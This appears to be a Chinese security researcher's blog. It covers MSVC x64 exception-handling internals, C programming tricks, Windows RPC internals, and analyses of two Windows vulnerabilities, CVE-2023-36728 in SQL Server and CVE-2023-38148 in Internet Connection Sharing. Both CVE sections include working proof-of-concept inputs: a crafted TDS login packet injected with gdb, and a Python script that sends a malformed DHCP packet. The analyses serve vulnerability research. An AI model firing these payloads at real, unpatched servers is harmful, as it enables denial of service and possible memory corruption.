test.exe!__GSHandlerCheck_EH4(_EXCEPTION_RECORD * ExceptionRecord=0x000000473ff0eff0, void * EstablisherFrame=0x000000473ff0fbc0, _CONTEXT * ContextRecord=0x000000473ff0eb00, _DISPATCHER_CONTEXT * DispatcherContext=0x000000473ff0e980) 行 73
在 D:\a\_work\1\s\src\vctools\crt\vcstartup\src\gs\amd64\gshandlereh4.cpp(73)
ntdll.dll!00007ff9c5bb23af()
ntdll.dll!00007ff9c5b614b4()
ntdll.dll!00007ff9c5bb0ebe()
KernelBase.dll!00007ff9c341cf19()
vcruntime140d.dll!00007ff96105bbf1()
test.exe!doThrow(bool doth=true) 行 45
在 D:\Projects\test\test\main.cpp(45)
test.exe!main() 行 52
在 D:\Projects\test\test\main.cpp(52)

可以看到, 它先调用的__GSHandlerCheck_EH4两次, 再调用了````doThrow’::`1’::dtor$0```操作.

而且析构函数是先于catch模块调用的. C++没有finally关键词, 也是因为有析构函数, 就不需要finally了

修改

#include 
#include 
#include 
using namespace std;
#pragma warning("disable":4996)

struct ExceptionA : public exception
{
    ExceptionA(int a, int b) :a(a), b(b) {}
    int a, b;
};

struct ExceptionB : public exception
{
    ExceptionB(int a, int b) {}
};

struct ExceptionC : public exception
{
    ExceptionC(int a, int b) {}
};

class Strobj {
    static int index;
public:
    Strobj() {
        index += 1;
        char a[] = "abcdefghijklmnopq";
        char* s = &a[index];
        int len = strlen(s);
        str_ = new char[len + 1];
        strcpy_s(str_, len + 1, s);
    }
    Strobj(char* a) {
        int len = strlen(a);
        str_ = new char[len + 1];
        strcpy_s(str_, len+1, a);
    }
    char* str_ = NULL;
    ~Strobj() {
        if (str_) {
            delete str_;
            str_ = NULL;
        }
    }
};

int Strobj::index = 0;

Strobj doThrow(bool doth) {
    int a = 1, b = 2;
    char str[] = "123456";
    Strobj oops(str);
    Strobj oops2(&str[1]);
    Strobj oops3(&str[2]);
    Strobj* myObjectPtr = new Strobj;
    auto myObjectPtr2 = std::make_unique();
    auto myObjectPtr3 = std::make_shared();
    if (doth)
        throw ExceptionA(a, b);
    std::cout << oops2.str_ << std::endl;
    std::cout << oops3.str_ << std::endl;
    std::cout << myObjectPtr->str_ << std::endl;
    std::cout << myObjectPtr2->str_ << std::endl;
    std::cout << myObjectPtr3->str_ << std::endl;

    delete myObjectPtr;
    return oops;
}

int main()
{
    try
    {
        Strobj a = doThrow(true);
        std::cout << a.str_ << std::endl;
    }
    catch (ExceptionC& e)
    {
        std::cout << "ExceptionC caught" << std::endl;
    }
    catch (ExceptionB& e)
    {
        std::cout << "ExceptionB caught" << std::endl;
    }
    catch (ExceptionA& e)
    {
        std::cout << "ExceptionA caught" << std::endl;
    }
    catch (std::exception& e)
    {
        std::cout << "ExceptionA1 caught" << std::endl;

    }
    catch (...) {
        std::cout << "ExceptionA2 caught" << std::endl;

    }
}

这次新增了两个Strobj对象, 新增了, release编译后, 使用ida看看有什么不一样.

选择doThrow函数, 按’X’查看引用:

跟进.pdata的引用:

跟进 stru_14002DFAC:

可以看到多个析构函数.

再次调试

开启调试, 分别对所有偏移的函数下断点

??1?$shared_ptr@VStrobj@@@std@@QEAA@XZ
_doThrow____1___dtor$10
??1?$unique_ptr@VStrobj@@U?$default_delete@VStrobj@@@std@@@std@@QEAA@XZ
_doThrow____1___dtor$7
_doThrow____1___dtor$3
??1Strobj@@QEAA@XZ
??1Strobj@@QEAA@XZ
_doThrow____1___dtor$0

继续运行, 看看触发情况:

第一个命中的是最后的一个shared_ptr的析构函数, 释放的是myObjectPtr3

第二个命中的是unique_ptr的析构函数, 释放的是myObjectPtr2

第三个命中的直接是Strobj的析构函数, 释放的是oops3,

第四个是oops2

最后是oops

从断点命中情况来看, 它命中了stru_14002DFAC里的部分析构函数

??1?$shared_ptr@VStrobj@@@std@@QEAA@XZ
??1?$unique_ptr@VStrobj@@U?$default_delete@VStrobj@@@std@@@std@@QEAA@XZ
??1Strobj@@QEAA@XZ
??1Strobj@@QEAA@XZ
_doThrow____1___dtor$0

但是, 这里有一个问题, 那就是myObjectPtr并没有得到释放!!

我们用debug调试, 记录myObjectPtr->str_的地址, 当命中catch时, 查看该值, 发现没有被重置, 再次说明它并没有被释放

因为它是new申请的, 需要我们手动释放, 而它又是个局部变量, 我们没法在catch里正常释放它, 导致它的内存丢失了.

再来看main.

可以看到 main的.pdata里对应的stru_14002E010里, 有main的异常处理的代码块的rva. 这里因为有4个catch, 所以有4个异常处理块.

所以我们也可以发现, 在try catch操作中, 存在catch的函数, 它的stru指向里就有catch的操作模块, 也会给出异常的类型.

对于包含在其中的其它调用子函数, 如果存在自动释放的对象, 也会自动调用析构函数, 而且析构函数是比catch先调用的. 但是对于不会自动释放的对象, 就需要我们注意它的释放情况了.

Debug的版本会略有不同. MSVC版本不一样也可能不同
另外, 异常里的rdx指向的是触发异常时的rsp指针

msvc举例(win11)

iassam.dll里

触发异常, 理论上应该处理 v12, v9, v11, 跟踪其struc后:

可以看到有三个释放操作的rva. 所以它触发异常后, 应该就会调用这些析构操作.

上层函数ChangePassword::onSyncRequest:

可以看到, 下半截是catch相关的操作, 上半截是析构相关的操作. 因此这个函数有try catch.

下面是ChangePassword::doChangePassword的栈回溯:

00 00000097`ea97f020 00007ff9`e6a76ad2     iassam!ChangePassword::doChangePassword+0x9c
01 00000097`ea97f090 00007ff9`e6a759dc     iassam!ChangePassword::onSyncRequest+0xb2
02 00000097`ea97f0e0 00007ff9`e6a75948     iassam!IASTL::IASRequestHandlerSync::onAsyncRequest+0x7c
03 00000097`ea97f110 00007ff9`e846311c     iassam!IASTL::IASRequestHandler::OnRequest+0xa8
04 00000097`ea97f140 00007ff9`e8462e3f     iaspolcy!Pipeline::executeNext+0x154

对这些位置下断点, 在ChangePassword::doChangePassword里面触发异常, 可以看到最后命中的是IASTL::IASRequestHandlerSync::onAsyncRequest+0x7C (即 7ff9e6a759dc)的位置.

说明触发异常后, ChangePassword::onSyncRequest里处理了函数异常, 所以正常返回到了上层函数call之后的位置.

旧版本msvc举例(server 2016)

这里只有个rva stru_1800321D0, 跟入:

typedef const struct _s_FuncInfo
{
    unsigned int        magicNumber:29;//19930522h     // Identifies version of compiler
    unsigned int        bbtFlags:3;         // flags that may be set by BBT processing
    __ehstate_t         maxState;// 4           // Highest state number plus one (thus
                                            // number of entries in unwind map)
    int                 dispUnwindMap;// rva stru_180033B7C      // Image relative offset of the unwind map
    unsigned int        nTryBlocks;// 1         // Number of 'try' blocks in this function
    int                 dispTryBlockMap;// rva stru_180033B9C    // Image relative offset of the handler map
    unsigned int        nIPMapEntries;// 12      // # entries in the IP-to-state map. NYI (reserved)
    int                 dispIPtoStateMap;// rva stru_180033BE0  IPtoStateMap // Image relative offset of the IP to state map. rva of struct IptoStateMapEntry
    int                 dispUwindHelp;// 32      // Displacement of unwind helpers from base
    int                 dispESTypeList;// 0     // Image relative list of types for exception specifications
    int                 EHFlags;// 1            // Flags for some features.
} FuncInfo;

这里 stru_1800321D0 对应的结构体就是如上所示.

UnwindMapEntry:

struct UnwindMapEntry {
  int toState;        // target state
  void (*action)();   // action to perform (unwind funclet address)
};

可以看到当state为1转为0时, 会调用_ChangePassword__onSyncRequest____1___dtor$0.

TryBlockMapEntry:

struct TryBlockMapEntry {
    int tryLow;
    int tryHigh;    // this try {} covers states ranging from tryLow to tryHigh
    int catchHigh;  // highest state inside catch handlers of this try
    int nCatches;   // number of catch handlers
    HandlerType* pHandlerArray; //catch handlers table
};

struct HandlerType {
  // 0x01: const, 0x02: volatile, 0x08: reference
  DWORD adjectives;

  // RTTI descriptor of the exception type. 0=any (ellipsis)
  TypeDescriptor* pType;

  // ebp-based offset of the exception object in the function stack.
  // 0 = no object (catch by type)
  int dispCatchObj;

  // address of the catch handler code.
  // returns address where to continues execution (i.e. code after the try block)
  void* addressOfHandler;
};

IPtoStateMap:

在x86中, 它是在栈中显式地声明当前的state, 在x64中, 通过 IptoStateMapEntry 隐式地展示当前的state. 所以当到达表里的rva时, 表示当前的state为多少. 比如这里就是到达loc_180006A99时, state为 2.

对比win10及以上的版本, 会发现有明显的不一样的情况.(以下是win11版本的unwind map)

.rdata:0000000180035698     byte_180035698  db 78h                  ; DATA XREF: .rdata:0000000180035694↑o
.rdata:0000000180035698                                             ; FuncInfo4
.rdata:0000000180035699                     dd rva byte_1800356A5   ; unwind map
.rdata:000000018003569D                     dd rva byte_1800356B9   ; try block map
.rdata:00000001800356A1                     dd rva byte_1800356DB   ; ip2state map
.rdata:00000001800356A5     byte_1800356A5  db 0Ah                  ; DATA XREF: .rdata:0000000180035699↑o
.rdata:00000001800356A5                                             ; num unwind entries: 5
.rdata:00000001800356A6                     db 8                    ; funclet type: 0
.rdata:00000001800356A7                     db 0Ah                  ; funclet type: 1
.rdata:00000001800356A8                     dd rva ??1IASRequest@IASTL@@QEAA@XZ ; funclet
.rdata:00000001800356AC                     db 50h                  ; frame offset of object ptr to be destructed
.rdata:00000001800356AD                     db 32h                  ; funclet type: 1
.rdata:00000001800356AE                     dd rva ??1IASAttribute@IASTL@@QEAA@XZ ; funclet
.rdata:00000001800356B2                     db 0C0h                 ; frame offset of object ptr to be destructed
.rdata:00000001800356B3                     db 6Eh                  ; funclet type: 3
.rdata:00000001800356B4                     dd rva __std_terminate  ; funclet

byte_1800356A5 的unwind map, 是有rva的, 但是前一个字节是什么意义, 我还不太懂.

导览图方法

在目标函数里直接ida看导览图, 就可以看到ida识别的异常处理流.

析构操作可能会以这样的形式存在:

其它

另外, 形如:

#include 

class MyClass {
public:
    MyClass() { /* ... */ }
    ~MyClass() { /* ... */ }
    // 其他成员函数和变量
};

// 创建一个对象并使用 unique_ptr 管理
std::unique_ptr createUniqueObject() {
    return std::unique_ptr(new MyClass());
}

int main() {
    std::unique_ptr myUniquePtr = createUniqueObject();
    // 使用 myUniquePtr ...
    return 0;
}

和

#include 

class MyClass {
public:
    MyClass() { /* ... */ }
    ~MyClass() { /* ... */ }
    // 其他成员函数和变量
};

// 创建一个对象并使用 shared_ptr 管理
std::shared_ptr createSharedObject() {
    return std::shared_ptr(new MyClass());
}

int main() {
    std::shared_ptr mySharedPtr = createSharedObject();
    // 使用 mySharedPtr ...
    return 0;
}

这种, 也都会自动触发析构操作, 即使发生了异常也会如此.

参考

https://www.openrce.org/articles/full_view/21 介绍基本原理

https://reactos.org/wiki/Techwiki:SEH64 第一个引用中涉及到的结构体出处

https://learn.microsoft.com/en-us/cpp/build/exception-handling-x64?view=msvc-160 一些相关结构体

http://www.hexblog.com/wp-content/uploads/2012/06/Recon-2012-Skochinsky-Compiler-Internals.pdf 介绍x64与x86的差异

Windows SQL Server Pre-Auth Overflow Read(CVE-2023-36728)

2023-10-16T02:08:37.067Z

这个是一个sql server的未认证远程dos的bug解析.

Environment

SQL Server Version: sql server 2022.160.4035.4

Host System: windows 1809

Bug

in file sqllang.dll version 2022.160.4035.4, function CFedAuthFeatureExtension::ReadIDCRLToken:

v4 = 0;
if ( !*a3 )
{
  *(_DWORD *)a4 = 9;
  return 0i64;
}
v8 = a2 + 4;
len1 = *(unsigned int *)a2;
v10 = *a3 - 4;
if ( *a3 == 4 )
{
  *(_DWORD *)a4 = 10;
}
else
{
  *((_DWORD *)this + 28) = v10 - (len1 + 0x40);
  if ( v10 >= (int)len1 + 0x40 )
  {
    _mm_lfence();
    v11 = 2i64 * (((unsigned int)len1 >> 1) + 1);
    if ( !is_mul_ok(((unsigned int)len1 >> 1) + 1, 2ui64) )
      v11 = -1i64;
    v12 = operator new[](v11, *((struct IMemObj **)this + 2), 1, "sql\\ntdbms\\tds\\src\\featureext.cpp", 1585, 3u);
    *((_QWORD *)this + 7) = v12;
    if ( v12 )
    {
      _mm_lfence();
      memcpy_s(*((void *const *)this + 7), len1, v8, len1);

*a3 means data length, a2 is a buffer controlled by user.

at line 9, if we let *a3==3, then v10 will be 0xffffffff. And at line 28, it will overflow read from a2.

Impact

Though process doesn’t crash(only thread crashed), it will cause extra problems, for example, if it crashed many times, no one can login into the server, even through local SSMS. And sql server configuration manager can’t restart service. Furthermore, it overflows reads data from heap, may leak important information with extra skills.

Crash Stack Trace

(168c.27a4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
sqllang!memcpy+0x180:
00007ffd`78f382fc c4a17e6f6c02e0  vmovdqu ymm5,ymmword ptr [rdx+r8-20h] ds:000001c2`20ff9b3d=??
0:019> k
 # Child-SP          RetAddr               Call Site
00 0000008f`407fe9e8 00007ffd`78f33493     sqllang!memcpy+0x180
01 0000008f`407fe9f0 00007ffd`79a99658     sqllang!memcpy_s+0x5e
02 0000008f`407fea20 00007ffd`79a99525     sqllang!CFedAuthFeatureExtension::ReadIDCRLToken+0xe6
03 0000008f`407fea80 00007ffd`78f955b9     sqllang!CFedAuthFeatureExtension::ParseFeatureData+0x245
04 0000008f`407fead0 00007ffd`78f93f6f     sqllang!CPhysicalConnection::FParseFeatureExtension+0x29e
05 0000008f`407fec30 00007ffd`78f93c8e     sqllang!CPhysicalConnection::FCreateLoginRec+0x6dd
06 0000008f`407feea0 00007ffd`78f93b0b     sqllang!process_login+0x24e
07 0000008f`407fef40 00007ffd`78f46c30     sqllang!process_commands_internal+0x45b
08 0000008f`407ff080 00007ffd`7ef088db     sqllang!process_messages+0x1e0
09 0000008f`407ff230 00007ffd`7ef09298     sqldk!SOS_Task::Param::Execute+0x232
0a 0000008f`407ff830 00007ffd`7ef08df4     sqldk!SOS_Scheduler::RunTask+0x182
0b 0000008f`407ff930 00007ffd`7ef28293     sqldk!SOS_Scheduler::ProcessTasks+0x344
0c 0000008f`407ffa80 00007ffd`7ef2833c     sqldk!Worker::EntryPoint+0x2f9
0d 0000008f`407ffb60 00007ffd`7ef27f7f     sqldk!ThreadScheduler::RunWorker+0xc
0e 0000008f`407ffb90 00007ffd`7ef27c65     sqldk!SystemThreadDispatcher::ProcessWorker+0x589
0f 0000008f`407ffc70 00007ffd`b8447e94     sqldk!SchedulerManager::ThreadEntryPoint+0x3cf
10 0000008f`407ffd80 00007ffd`babf7ad1     KERNEL32!BaseThreadInitThunk+0x14
11 0000008f`407ffdb0 00000000`00000000     ntdll!RtlUserThreadStart+0x21
0:019> r
rax=000001c226000040 rbx=0000000000ccffff rcx=000001c226000040
rdx=000001c220329b5e rsi=000001c220329b5e rdi=0000000000ccffff
rip=00007ffd78f382fc rsp=0000008f407fe9e8 rbp=00000000ffffffff
 r8=0000000000ccffff  r9=000001c220ff9b5d r10=00007ffd78f30000
r11=0000008f407fe928 r12=0000000000000000 r13=000001c220329b5e
r14=0000000000ccffff r15=0000000000668000
iopl=0         nv up ei pl nz na po nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
sqllang!memcpy+0x180:
00007ffd`78f382fc c4a17e6f6c02e0  vmovdqu ymm5,ymmword ptr [rdx+r8-20h] ds:000001c2`20ff9b3d=??

POC

install sqlcmd in Centos7

1 2	$ sudo rpm -i msodbcsql17-17.2.0.1-1.x86_64.rpm $ sudo rpm -i mssql-tools-17.2.0.1-1.x86_64.rpm

install gdb in Centos7
create a new SQL Server 2022(I tested locally, I can give a Azure Sql Server test case if you need)
connect SQL Server to Azure AD by (https://learn.microsoft.com/en-us/sql/relational-databases/security/authentication-access/azure-ad-authentication-sql-server-setup-tutorial?view=sql-server-ver16)
install windbg in SQL Server machine
the sql server should be like this, in this picture, target process is 5772
use windbg attach 5772

in Centos:

$ gdb  --args /opt/mssql-tools/bin/sqlcmd   -S 192.168.150.141,50128 -G -C -U "aabb" -P "a"
gdb$ b main
gdb$ r
gdb$ b send
gdb$ c
Breakpoint 2, 0x00007ffff6b30be0 in send () from /lib64/libpthread.so.0
gdb$ b SSL_write
gdb$ disa 1 2
gdb$ c
Breakpoint 3, 0x00007fffee1f5740 in SSL_write () from /lib64/libssl.so.10
gdb$ set {char[241]}$rsi="\x10\x01\x00\xe5\x00\x00\x00\x00\xdd\x00\x00\x00\x04\x00\x00\x74\x00\x10\x00\x00\x00\x00\x00\x07\xbb\xaa\x00\x00\x00\x00\x00\x00\xe0\x03\x00\x10\xf0\x00\x00\x00\x09\x04\x00\x00\x5e\x00\x0a\x00\x72\x00\x00\x00\x72\x00\x00\x00\x72\x00\x0c\x00\x8a\x00\x0f\x00\xd0\x00\x04\x00\x8e\x00\x0e\x00\xaa\x00\x00\x00\xaa\x00\x06\x00\x00\xe0\x4c\x68\x0d\x9c\xb6\x00\x00\x00\xb6\x00\x00\x00\xb6\x00\x00\x00\x00\x00\x00\x00\x54\x00\x65\x00\x73\x00\x74\x00\x43\x00\x6c\x00\x69\x00\x65\x00\x6e\x00\x74\x00\x50\x00\x79\x00\x54\x00\x65\x00\x73\x00\x74\x00\x43\x00\x6c\x00\x69\x00\x65\x00\x6e\x00\x74\x00\x31\x00\x39\x00\x32\x00\x2e\x00\x31\x00\x36\x00\x38\x00\x2e\x00\x31\x00\x35\x00\x30\x00\x2e\x00\x31\x00\x34\x00\x31\x00\x50\x00\x79\x00\x20\x00\x54\x00\x44\x00\x53\x00\x20\x00\x6c\x00\x69\x00\x62\x00\x72\x00\x61\x00\x72\x00\x79\x00\x6d\x00\x61\x00\x73\x00\x74\x00\x65\x00\x72\x00\xd4\x00\x00\x00\x02\x04\x00\x00\x00\x00\xff\xff\xcc"
gdb$ set $rdx=0xE5
gdb$ set $r12=0xe5
gdb$ c

in SQL Server, windbg:

奇怪的知识又增加了

2023-10-11T09:27:42.152Z

关于技术的一些奇奇怪怪的知识点

include

include本质就是把include的文件内容拷贝到当前插入include的位置.
所以就可以有一些奇怪的用法:
a.h

#ifndef _AAA
#define _AAA
else:
printf("1\n");

#endif

a.c

#include 

void main(void){
    int a = 0;
    if(a==1){
        ...
    }
    #include "a.h"
    return;
}

c的结构体

struct new1 {
    int a1;
};

struct a2 {
    struct new1;// 这个位置我们没有给结构体变量名
    int a22;
};


int main() {
    struct a2 b1;
    b1.a1;// 但是, 我们可以直接引用结构体的成员!
    return 0;
}

int 到 size_t

对于x64, 无论是gcc还是msvc, 编译int a=-1;size_t new = (size_t)a;的结果, new都是0xffffffffffffffff.

关于clone的编写bug

#include
int this_pthread_create(int *tid, void(*thread_func)(void *), void *arg, void *stack_end){
    int pid;
    *(long*)(stack_end-0x100) = (long)thread_func;
    *(long*)(stack_end-0x108) = (long)arg;

    // __asm__ __volatile__ (
    //     "movq $56, %%rax\n\t"  // syscall number for clone
    //     "movl %1, %%edi\n\t"   // flags
    //     "movq %2, %%rsi;\n\t"         // child_stack
    //     "xorq %%rdx, %%rdx;\n\t"         // ptid (NULL)
    //     "xorq %%r10, %%r10;\n\t"         // ctid (NULL)
    //     "movq %3, %%r8;\n\t"          // newtls (NULL)
    //     "syscall;\n\t"               // make the system call
    //     "movl %%eax, %0;"         // store the return value in pid
    //     : "=r" (pid)
    //     : "r"(CLONE_VM | CLONE_FS | CLONE_FILES | CLONE_SIGHAND | CLONE_THREAD),
    //       "r" (stack_end), "r"((long)0)
    //     : "rax", "rdi", "rsi", "rdx", "r10", "r8"
    // );
    pid = (int)this_syscall((CLONE_VM | CLONE_FS | CLONE_FILES | CLONE_SIGHAND | CLONE_THREAD),
        (long)stack_end,
        0,
        0,
        0,
        0,
        56 // clone
    );
    if (pid == -1) {
        perror("clone");
        return 0;
    }
    if(pid)
        return 1;
    else{
        printf("child thread\n");
        __asm__ __volatile__(
            "movq -0x108(%%rsp), %0\n\t"
            "movq -0x100(%%rsp), %1\n\t"
            :"=r"(arg),"=r"(thread_func)
        );
        thread_func(arg);
    }
    // __asm__ __volatile__ (
    //     "movq $60, %%rax;\n\t" // syscall for exit
    //     "movq $0, %%rdi;\n\t"
    //     "syscall;"::
    // );
}

int x = 0;
void fnc(void *new){
    x = 1;
    return;
}
void main(){
    int pid;
    void *a = calloc(0x1000, 2);
    this_pthread_create(&pid, fnc, 0, a+0x1000);
    while(1);
}

this_syscall:
    push rbp
    mov rbp, rsp
    mov r10, rcx
    mov rax, qword ptr[rbp+0x10]
    syscall
    pop rbp
    ret

这段代码一运行, 就会出现崩溃, 且rip等于0, 用上gdb调试, 也摸不着头脑, 最后终于知道问题在哪, 问题就在this_syscall的实现上.

clone这个syscall调用, 成功时, 会返回两种值, 一种是线程pid, 此时就运行在调用方的线程里. 一种是0, 此时在新建的线程里. 当从新线程返回时, rsp会被更新为新线程的rsp(即函数里的stack_end参数).

在this_syscall的第七行调用了pop rbp和ret, 如果当前线程是新线程, rsp已经被更新了, pop和ret操作都是在新的栈里操作的, 导致ret获取了0作为rip, 从而造成了崩溃.

Windows Internet Connection Sharing (ICS) cve-2023-38148 分析

2023-09-13T10:32:19.055Z

简要分析bug成因, 仅供研究学习.

环境搭建

首先, 创建一个windows虚拟机, 添加两个网卡, 记作net1, net2. 依照 Enable Internet Connection Sharing (ICS) in Windows 10启用网络共享.

正常启用后, 观察监听端口, 可以看到多了3个新的监听端口, 分别是53, 67, 68, 都来自同一个进程, 如下所示:

补丁分析

对比文件ipnathlp.dll文件如下:

可以看到, 在左侧行37位置, 当长度超过0x20时, 它并没有跳转到结束, 而是继续处理, 补丁后, 它直接结束了后续函数操作. 所以问题很明显, 就是在后续的操作中可能存在溢出问题.

这里a2+228为data开始位置, buffer空间大小为1500. a2+220指示buffer中数据长度.

跟踪了DhcpExtractOptionsFromMessage并没有发现问题, 跟踪DhcpProcessBootpMessage->DhcpAddArpEntry, 有如下代码:

DhcpRemoveArpEntry(a1);
memset_0(&Row, 0, sizeof(Row));
Row.InterfaceIndex = DhcpAdapterIndex;
Row.Address.Ipv4.sin_family = 2;
Row.Address.Ipv4.sin_addr.S_un.S_addr = a1;
Row.PhysicalAddressLength = v4;
memcpy_0(Row.PhysicalAddress, Src, v4);
v10 = CreateIpNetEntry2(&Row);

v4为a2+230的值, 即DHCP协议的Hardware address length 字段, Row是栈结构体, 大小为0xa8, 可以看到此处当v4超过0xa8时, 就会栈溢出.

除此以外, V2DhcpProcessMessage也存在相同情况.

POC

from socket import *
s = socket(AF_INET, SOCK_DGRAM)
addr = ('192.168.137.1', 67)
data = b"\x01\x01\xcc\x00\x94\x27\x17\x55\x00\x00\x00\x00\x00\x00\x00\x00" \
b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0c\x29\xab" \
b"\xf4\x97\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x63\x82\x53\x63" \
b"\x35\x00\x32\x04\xc0\xa8\x96\x80\x37\x12\x01\x1c\x02\x79\x0f" \
b"\x06\x0c\x28\x29\x2a\x1a\x77\x03\x79\xf9\x21\xfc\x2a\xff\x00\x00" \
b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"

s.sendto(data, addr)

Windows RPC 介绍

2023-09-06T10:11:27.861Z

windows的rpc是一个很重要的接口, 以前我对它一直不算了解, 今天以一个安全研究的角度去介绍一下它.

注册rpc服务

server 通过 RpcServerUseProtseqEp 注册服务, 可以有的类型有: ncalrpc (ALPC), ncacn_np (named pipe) or ncacn_ip_tcp (TCP socket) 参考链接
pipe类型:

RpcServerUseProtseqEp(
    L"ncacn_np",
    RPC_C_PROTSEQ_MAX_REQS_DEFAULT,
    L"\\pipe\\DEMO",
    nullptr);

socket类型:

status = RpcServerUseProtseqEp(
   reinterpret_cast("ncacn_ip_tcp"), // Use TCP/IP protocol.
   RPC_C_PROTSEQ_MAX_REQS_DEFAULT, // Backlog queue length for TCP/IP.
   reinterpret_cast("4747"),         // TCP/IP port to use.
   NULL);                          // No security.

alpc类型:

1	RpcServerUseProtseqEpA("ncalrpc", 10, "spoolss", SecurityDescriptor);

之后是注册rpc函数接口:

以后面示例代码Example1Server.cpp为例:

status = RpcServerRegisterIf2(
   Example1_v1_0_s_ifspec, // Interface to register.
   NULL, // Use the MIDL generated entry-point vector.
   NULL, // Use the MIDL generated entry-point vector.
   RPC_IF_ALLOW_CALLBACKS_WITH_NO_AUTH, // Forces use of security callback.
   RPC_C_LISTEN_MAX_CALLS_DEFAULT, // Use default number of concurrent calls.
   (unsigned)-1, // Infinite max size of incoming data blocks.
   SecurityCallback); // Naive security callback.

第四个参数flag, 值如下:

#define RPC_IF_AUTOLISTEN                   0x0001
#define RPC_IF_OLE                          0x0002
#define RPC_IF_ALLOW_UNKNOWN_AUTHORITY      0x0004
#define RPC_IF_ALLOW_SECURE_ONLY            0x0008
#define RPC_IF_ALLOW_CALLBACKS_WITH_NO_AUTH 0x0010
#define RPC_IF_ALLOW_LOCAL_ONLY             0x0020
#define RPC_IF_SEC_NO_CACHE                 0x0040
#if (NTDDI_VERSION >= NTDDI_VISTA)
#define RPC_IF_SEC_CACHE_PER_PROC           0x0080
#define RPC_IF_ASYNC_CALLBACK               0x0100

有RPC_IF_ALLOW_SECURE_ONLY代表接口需要认证.

在示例项目里, 它会自动生成Example1_s.c文件, 里面有Example1_v1_0_s_ifspec的定义:

RPC_IF_HANDLE Example1_v1_0_s_ifspec = (RPC_IF_HANDLE)& Example1___RpcServerInterface;
static const RPC_SERVER_INTERFACE Example1___RpcServerInterface =
    {
    sizeof(RPC_SERVER_INTERFACE),
    {{0x00000001,0xEAF3,0x4A7A,{0xA0,0xF2,0xBC,0xE4,0xC3,0x0D,0xA7,0x7E}},{1,0}},
    {{0x8A885D04,0x1CEB,0x11C9,{0x9F,0xE8,0x08,0x00,0x2B,0x10,0x48,0x60}},{2,0}},
    (RPC_DISPATCH_TABLE*)&Example1_v1_0_DispatchTable,
    0,
    0,
    0,
    &Example1_ServerInfo,
    0x06000000
    };
static const RPC_DISPATCH_FUNCTION Example1_table[] =
    {
    NdrServerCall2,
    0
    };
static const RPC_DISPATCH_TABLE Example1_v1_0_DispatchTable = 
    {
    1,// 指定了有几个回调函数.
    (RPC_DISPATCH_FUNCTION*)Example1_table
    };

static const SERVER_ROUTINE Example1_ServerRoutineTable[] = 
    {
    (SERVER_ROUTINE)Output// 导出函数
    };

static const MIDL_SERVER_INFO Example1_ServerInfo = 
    {
    &Example1_StubDesc,
    Example1_ServerRoutineTable,// 导出函数表
    Example1__MIDL_ProcFormatString.Format,
    (unsigned short *) Example1_FormatStringOffsetTable,
    0,
    (RPC_SYNTAX_IDENTIFIER*)&_NDR64_RpcTransferSyntax_1_0,
    2,
    (MIDL_SYNTAX_INFO*)Example1_SyntaxInfo
    };

在IDA中看Example1___RpcServerInterface:

其中+4位置是rpc服务对应的UUID.

再看[50h]位置的Example1_ServerInfo:

再看[8h]位置的SERVER_ROUTINE表:

client调用

client要调用服务, 必须通过RpcStringBindingCompose函数绑定, 再通过RpcBindingFromStringBinding获得RPC_BINDING_HANDLE, 下面是示例代码:

status = RpcStringBindingCompose(
   NULL, // UUID to bind to.
   reinterpret_cast("ncacn_ip_tcp"), // Use TCP/IP
                                                     // protocol.
   reinterpret_cast("localhost"), // TCP/IP network
                                                  // address to use.
   reinterpret_cast("4747"), // TCP/IP port to use.
   NULL, // Protocol dependent network options to use.
   &szStringBinding); // String binding output.

status = RpcBindingFromStringBinding(
   szStringBinding, // The string binding to validate.
   &hExample1Binding); // Put the result in the implicit binding
                       // handle defined in the IDL file.

bind后, 直接调用接口代码即可Output("Hello Implicit RPC World!");, 实际上, 它真实的调用是如下:

通过调用NdrClientCall3函数来实现调用. 第二个参数就是目标server的函数编号, 此处就是第0号函数(即Example1_ServerRoutineTable[0]), 从第四个参数开始, 就是目标函数所需要的参数.

观察一下它的 Example1_ProxyInfo

Example1_StubDesc:

从这个结构体可以看到, +18h位置是&hExample1Binding, 指向RPC_BINDING_HANDLE.

再看Example1___RpcClientInterface对象(_RPC_CLIENT_INTERFACE结构体), +4位置是server对应的uuid

下面从调试角度看看它的关系:

继续handle对应的结构体:

如图, 在[F0h]偏移位置的地址, 指向的结构体存在三个指针, 这三个指针分别是RpcStringBindingCompose的参数.

在`NdrClientCall3`找rpc接口

一个方法就是通过上述poi(poi(poi(poi(@rcx)+18))+f0)偏移去找字符串

某些情况下, 可能RPC_BINDING_HANDLE指针不存在(即poi(poi(@rcx)+18)为空), 这种情况下, 一般第四个参数(即函数调用的第一个参数), 是一个和binding_handle 有关的结构体. 在同一个dll里, 通过查找它的引用, 大概率找得到声明位置.

以下以sspi接口中sspicli.dll!SspipProcessSecurityContext调用的rpc来示例如何寻找:

方法1: 通过逆向代码查找

